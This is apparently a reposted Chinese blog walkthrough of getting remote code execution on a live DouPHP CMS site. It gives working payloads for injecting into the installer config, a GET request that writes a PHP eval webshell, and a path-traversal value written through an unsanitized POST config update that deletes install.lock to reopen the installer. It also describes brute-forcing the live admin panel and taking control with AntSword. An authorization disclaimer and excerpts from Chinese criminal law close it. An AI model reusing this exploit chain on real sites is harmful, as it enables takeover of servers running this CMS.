1. 程式人生 > 其它 >【原創】記一次DouPHP站點的RCE實戰之旅

【原創】記一次DouPHP站點的RCE實戰之旅

宣告

本次實踐是在合法授權情況下進行,資料已經全部脫敏,主要是提供思路交流學習,請勿用於任何非法活動,否則後果自負。

實戰記錄

資訊收集

1,踩點站點
通過fofa 查到目標DouPHP框架該站點(也測試了資訊收集安全),由於是一個開源框架,因此選擇下載原始碼,先通過白盒走查,發現隱藏的安全問題。

2 原生代碼走查並復現bug
完成本地搭建cms,在安裝的頁面中發現錄入的內容會在一個配置檔案中進行儲存,因為後續要執行大概率是php檔案,通過配置檔案匹配,發現了config.php配置檔案。

開啟配置檔案,發現是雙引號,說明此處我可以搞事情,嘗試雙引號閉合執行。

刪除install.lock

檔案,嘗試從配置頁面注入payload。

${file_put_contents('666.php','<?php eval($_REQUEST[8])?>'}

注入報錯,但配置檔案卻寫入成功,發現單引號被轉義了,應該是用了類似輸入預處理的方法

因此更換注入方式,既然你對單引號進行轉義,那我就寫入GET傳參的形式,通過GET請求來將shell寫入,時間換空間。

${file_put_contents($_GET[1],$_GET[2])}

發現寫入配置檔案成功

通過GET請求來寫shell,注意雙引號執行需要php版本在5.5以上才能生效。

http://192.168.186.129/douphp/data/config.php?1=666.php&2=<?php eval($_REQUEST[8])?>

發現shell寫入成功,說明只要有安裝頁面,這條RCE的路是通的,但線上站點基本沒有這個安裝頁面怎麼辦?

根據之前的操作發現,每次安裝成功就會有一個install.lock檔案,只要能再線上刪除這個檔案,就能訪問安裝頁面,那問題就是如何能線上刪除該檔案?

在php中有unlink()函式支援檔案的刪除,因此進行程式碼審計,看下該CMS下有沒有包含unlink函式的檔案。

逐個排查unlink()的形參中,有沒有能為我所用的入參,排查發現admin目錄下的mobile.php檔案中的unlink()函式有突破點。

 @ unlink(ROOT_PATH . M_PATH . '/theme/' . $_CFG['mobile_theme'] . '/images/' . $mobile_logo);
 PHP語法中:
// $變數 x()函式  ROOT_PATH 常量,發現存在$mobile_logo的變數,因此進一步排查變數的內容;
$mobile_logo = $dou->get_one("SELECT value FROM " . $dou->table('config') . " WHERE name = 'mobile_logo'");
//變數定義中是一段sql的拼接聰資料庫拿資料,因此去資料庫確認下表和欄位是否存在

發現存在上述sql語句對應的表和欄位

接下來就是拼接連結,看看該sql語句所對應的業務邏輯是啥。

http://192.168.186.129/douphp/admin/mobile.php

發現該頁面是後臺,用註冊的使用者名稱密碼登陸後,發現有疑似mobile log相對應的功能。

長傳圖片後發現,出現了刪除圖片的功能,並已經落庫。

此時我需要知道上傳圖片的路徑是什麼,因為需要這個路徑來反向推理出lock檔案的位置,因此修改程式碼進行debug。

通過刪除按鈕觸發,順利觸發檔案位置的提示,並且確認了程式碼執行的順序。

接下來我就需要通過圖片的位置,來倒推install.lock的相對路徑。

C:/phpstudy/WWW/douphp/m/theme/default/images/logo.jpg
倒推install.lock的路徑為
../../../../data/install.lock

相對路徑獲取後,接下來的思路就是將該路徑存入資料庫,那觸發刪除的時候,就能把對應的install.lock的檔案刪除了,接下來印證猜想。

刪除檔案後,發現觸發資料庫的../../../../data/install.lock檔案路徑,install.lock檔案被成功刪除,順利進入到重灌頁面,說明整體思路沒有錯。

那現在的問題就是如何將../../../../data/install.lock直接寫入資料庫?繼續程式碼走查,發現突破點。

        foreach ($_POST as $name => $value) {
            if (is_array($value)) $value = serialize($value);
            $dou->query("UPDATE " . $dou->table('config') . " SET value = '$value' WHERE name = '$name'");
        }
        
        此處存在鍵值分離($_POST as $name => $value)),程式碼可以看成
        update config set value=$value where name=$name;
        那麼
        $value = '../../../../data/install.lock'
        $name = 'mobile_logo'
        那就能完成寫入。
    

提交mobile頁,開啟burp,進行改包,由於我希望直接進入綠色模組的判斷邏輯,因此改下body體

繼續在post請求中改我需要的資料,並確認資料庫寫入成功,說明該流程沒問題,接下來就是線上復現。

線上滲透復現

通過目錄和賬號爆破,進入線上的後臺

同樣的流程改包後提交

上傳成功後,點選刪除,觸發路徑

![image-20220414145139799](https://cdn.jsdelivr.net/gh/heiyu-sec/Image/202204141451056.png

發現能夠進入安裝頁面了,說明流程成功,install.lock檔案順利刪除

寫入準備好的shell,後續用get傳參來寫馬

${file_put_contents($_GET[1],$_GET[2])}

通過GET請求生成新檔案並在其中寫入shell,避開單引號的預處理。

http://域名/data/config.php?1=123.php&2=<?php eval($_REQUEST[8])?>

寫入成功,使用PHPinfo();確認成功

使用蟻劍,拿下站點,建立穩定的webshell,搞定!

實戰覆盤

1,資訊收集階段,通過fofa來搜尋指定開發框架的站點;
2,通過本地的程式碼走查,尋找危險函式並逐個定位,尋找可利用的程式碼檔案;
3,重現過程中,一般成熟的CMS都會對單引號等進行轉義,此時可以通過後續請求傳參的方式來繞過;
4,如果復現過程中需要刪除某些檔案來實現特定測試步驟,可以通過unlink()函式來定位進行;
5,在unlink()函式定位過程中,尋找可利用變數的模組進行嘗試,一些全常量的模組及時放棄;
6,可以通過程式碼除錯的方式尋找正常邏輯下檔案的路徑,然後倒推路徑來為我所用;
7,線上進行復現的時候細心,遇到和本地除錯不一樣的結果,需要看報錯及時調整;

相關法律資料:

  1. 依據《刑法修正案(七)》第9條增訂的《刑法》第285條第3款的規定,犯提供非法侵入或者控制計算機資訊系罪的,處3年以下有期徒刑或者拘役,並處或者單處罰金;情節特別嚴重的,處3年以上7年以下有期徒刑,並處罰金。

  2. 第二百八十五條第二款 違反國家規定,侵入前款規定以外的計算機資訊系統或者採用其他技術手段,獲取該計算機資訊系統中儲存、處理或者傳輸的資料,或者對該計算機資訊系統實施非法控制,情節嚴重的,處三年以下有期徒刑或者拘役,並處或者單處罰金;情節特別嚴重的,處三年以上七年以下有期徒刑,並處罰金。

  3. 刑法第二百五十三條之一:“國家機關或者金融、電信、交通、教育、醫療等單位的工作人員,違反國家規定,將本單位在履行職責或者提供服務過程中獲得的公民個人資訊,出售或者非法提供給他人,情節嚴重的,處三年以下有期徒刑或者拘役,並處或者單處罰金。情節特別嚴重的,處三年以上七年以下有期徒刑,並處罰金。

  4. 遵循《資料安全法》和《個人資訊保護法》